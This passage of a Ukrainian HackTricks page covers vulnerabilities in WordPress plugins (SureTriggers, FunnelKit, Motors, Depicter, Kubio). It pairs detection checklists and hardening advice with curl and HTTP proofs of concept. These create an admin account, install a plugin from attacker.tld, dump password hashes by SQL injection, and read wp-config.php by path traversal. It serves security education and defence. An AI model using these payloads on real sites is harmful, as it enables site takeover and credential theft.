Деякі плагіни відкривають REST endpoints, які створюють повторно використовувані “connection keys” або tokens без перевірки capability викликача. Якщо маршрут автентифікується лише за вгадуваною ознакою (наприклад, username) і не прив’язує ключ до користувача/сесії з перевірками capability, будь-який неаутентифікований атакувальник може створити ключ і викликати привілейовані дії (створення admin-акаунта, дії плагінів → RCE).
- Вразливий маршрут (приклад): sure-triggers/v1/connection/create-wp-connection
- Прогалина: приймає username, видає connection key без current_user_can() або суворого permission_callback
- Наслідок: повний takeover шляхом пов’язування створеного ключа з внутрішніми привілейованими діями
PoC – створіть connection key та використайте його
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Чому це можна експлуатувати
- Чутливий REST route захищений лише слабким доказом ідентичності з низькою ентропією (username) або відсутнім permission_callback
- Немає примусового застосування capability; згенерований key приймається як універсальний обхід
Detection checklist
- Шукати в коді плагіна register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Будь-який маршрут, що видає tokens/keys на основі ідентичності, переданої в запиті (username/email), без прив’язки до аутентифікованого користувача або capability
- Шукати подальші маршрути, які приймають згенерований token/key без перевірок capability на сервері
Hardening
- Для будь-якого привілейованого REST route: вимагати permission_callback, який застосовує current_user_can() для потрібної capability
- Не mint long-lived keys з identity, наданої клієнтом; якщо потрібно, видавайте short-lived, user-bound tokens після автентифікації і повторно перевіряйте capability при використанні
- Перевіряйте контекст користувача, який викликає (wp_set_current_user недостатньо сам по собі) і відхиляйте запити, де !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → неавторизована довільна установка плагіна (FunnelKit Automations ≤ 3.5.3)
Nonces запобігають CSRF, а не авторизації. Якщо код трактує успішний nonce як зелене світло і потім пропускає перевірки capability для привілейованих операцій (наприклад, install/activate plugins), неавторизовані атакувальники можуть виконати слабку перевірку nonce і досягти RCE, встановивши backdoored або вразливий плагін.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: повна компрометація через довільну установку/активацію плагіна
PoC (форма залежить від плагіна; наведено лише для ілюстрації)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)
Patchstack’s analysis показав, як Motors theme постачає авторизований AJAX helper для встановлення його companion plugin:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Викликається тільки
check_ajax_referer(); немаєcurrent_user_can('install_plugins')абоcurrent_user_can('activate_plugins'). - Nonce вбудовано на сторінці адміністратора Motors, тому будь-який Subscriber, який може відкрити
/wp-admin/, може скопіювати його з HTML/JS. - Обробник довіряє керованому атакуючим параметру
plugin(зчитуваному з$_GET) і передає його вPlugin_Upgrader::install(), тому довільний віддалений ZIP завантажується вwp-content/plugins/. - Після встановлення тема безумовно викликає
mvl_theme_activate_plugin(), гарантуючи виконання PHP-коду зловмисного плагіна.
Послідовність експлуатації
- Зареєструйте/компрометуйте обліковий запис з низькими правами (достатньо Subscriber) і отримайте
mvl_theme_install_basenonce з інтерфейсу панелі Motors. - Зберіть ZIP плагіна, верхній каталог якого відповідає очікуваному slug
motors-car-dealership-classified-listings/, і вбудуйте backdoor або webshell у*.phpточки входу. - Розмістіть ZIP та запустіть інсталятор, вказавши обробнику вашу URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Оскільки обробник читає $_GET['plugin'], той же payload також може бути надісланий через query string.
Detection checklist
- Шукайте в темах/плагінах
Plugin_Upgrader,Theme_Upgraderабо кастомніinstall_plugin.phphelpers, підключені доwp_ajax_*hooks без capability checks. - Перевірте будь-який обробник, який приймає параметр
plugin,package,sourceабоurlі передає його в upgrader APIs, особливо коли slug жорстко заданий, але вміст ZIP не перевіряється. - Перегляньте admin-сторінки, які відкривають nonces для installer actions — якщо Subscribers можуть завантажити сторінку, припускайте, що nonce leaks.
Hardening
- Обмежуйте installer AJAX callbacks перевіркою
current_user_can('install_plugins')іcurrent_user_can('activate_plugins')після перевірки nonce; Motors 5.6.82 ввела цю перевірку для виправлення бага. - Відмовляйте ненадійним URL: обмежуйте installers вбудованими ZIP або trusted repositories, або вимагайте signed download manifests.
- Розглядайте nonces виключно як CSRF tokens; вони не надають authorization і ніколи не повинні замінювати capability checks.
Неавторизований SQLi через параметр s (search) в діях depicter-* (Depicter Slider ≤ 3.6.1)
Кілька дій depicter-* приймали параметр s (search) і конкатенували його в SQL-запити без параметризації.
- Parameter: s (search)
- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Impact: екзфільтрація бази даних (користувачі, хеші), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep for depicter-* action handlers and direct use of $_GET[‘s’] or $_POST[‘s’] in SQL
- Review custom queries passed to $wpdb->get_results()/query() concatenating s
Hardening
- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side
- Add a strict allowlist for s and normalize to expected charset/length
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Прийом шляхів, керованих атакуючим, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — виконувати код, якщо файли PHP або лог-файли, які можна підключити, потрапляють у час виконання.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: відсутня нормалізація/список дозволених значень; traversal permitted
- Impact: розголошення секретів (wp-config.php), потенційний RCE в певних середовищах (log poisoning, includable PHP)
PoC – прочитати wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Чекліст виявлення
- Будь-який обробник, що конкатенує шляхи запитів у include()/require()/read sinks без перевірки через realpath()
- Шукайте traversal-патерни (../), які виходять за межі призначеної директорії шаблонів
Зміцнення захисту
- Застосовуйте allowlisted шаблони; резолвіть через realpath() і вимагайте str_starts_with(realpath(file), realpath(allowed_base))
- Нормалізуйте вхідні дані; відкидайте traversal-послідовності та абсолютні шляхи; використовуйте sanitize_file_name() лише для імен файлів (не для повних шляхів)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


